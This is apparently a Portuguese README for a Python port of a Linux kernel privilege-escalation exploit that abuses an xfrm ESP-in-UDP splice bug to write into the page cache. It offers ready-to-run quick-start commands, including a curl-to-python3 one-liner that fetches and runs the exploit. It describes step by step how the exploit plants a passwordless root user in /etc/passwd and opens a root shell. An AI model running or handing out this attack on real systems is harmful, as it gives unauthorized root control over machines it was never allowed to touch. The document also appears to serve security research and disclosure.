CopyFail2 (CVE-2026-31431) - Implementação em Python

Porte em Python do exploit de kernel CopyFail2 que explora o caminho rápido no-COW MSG_SPLICE_PAGES do xfrm ESP-in-UDP para escalonamento local de privilégios em Linux sem privilégios.

Substitui uma entrada nologin/false em /etc/passwd por um usuário uid-0 sem senha e abre um shell root via su.

Vulnerabilidade

O bug do kernel reside no caminho de splice UDP usado pela encapsulação xfrm ESP-in-UDP. splice() em um socket UDP com MSG_SPLICE_PAGES faz com que as páginas sejam mapeadas no cache de páginas do receptor sem acionar copy-on-write. Isso permite escrever em qualquer arquivo atualmente mapeado no cache de páginas, mesmo quando aberto somente leitura.

• Implementação original em C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• Correção upstream: netdev/net.git

Requisitos

• Kernel Linux >= 6.5 (suporte UDP a MSG_SPLICE_PAGES)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN ou a capacidade de criar namespaces de usuário

Qual versão usar

Este repositório fornece duas variantes. Ambas produzem o mesmo resultado; escolha com base nas suas restrições.

Início rápido (otimizado)

# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Arquivo salvo
python3 exploit.py

# Reverter alterações
python3 exploit.py --clean

Início rápido (bruto/referência)

python3 exploit_raw.py
python3 exploit_raw.py --clean

No Ubuntu com apparmor_restrict_unprivileged_userns habilitado, salve o arquivo primeiro e execute a partir do disco; o modo pipe ignora a dança de bypass do AppArmor.

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Como funciona

1. Força bruta em um IV AES-GCM cujo byte do keystream faz XOR do byte original de /etc/passwd para o valor desejado.
2. Instala um estado xfrm ESP-in-UDP local em 127.0.0.1:4500.
3. Cria um arquivo de apoio controlado pelo atacante contendo o cabeçalho ESP forjado e o ICV.
4. splice() três intervalos (cabeçalho ESP, byte alvo de /etc/passwd, ICV) em um pipe.
5. splice() o pipe no socket UDP, acionando o bug do kernel e escrevendo o byte no cache de páginas.
6. Repete para cada byte diferente para sobrescrever uma linha nologin/false com sick::0:0:...:/:/bin/bash.
7. su - sick abre root (PAM nullok aceita senha vazia).

Testado

Solução de problemas

cannot acquire CAP_NET_ADMIN

Seu kernel pode ter kernel.unprivileged_userns_clone=0. Habilite-o:

sudo sysctl kernel.unprivileged_userns_clone=1

Se estiver executando dentro do Docker, inicie o contêiner com --privileged ou --cap-add=SYS_ADMIN.

Créditos

• Hyunwoo Kim (imv4bel) e Kuan-Ting Chen — descoberta e correção upstream
• Steffen Klassert — mantenedor do IPsec, publicou a correção
• Brad Spengler / grsecurity — cunhou "classe copyfail"
• Theori / Xint — Copy Fail original (CVE-2026-31431)
• Exploit C original por 0xdeadbeefnetwork
• Exploit Python por guiimoraes

Aviso legal

Esta ferramenta é fornecida apenas para pesquisa de segurança autorizada e fins educacionais. Não use contra sistemas que você não possui ou para os quais não tem permissão explícita de teste. Os autores não assumem responsabilidade por uso indevido ou danos causados por este software.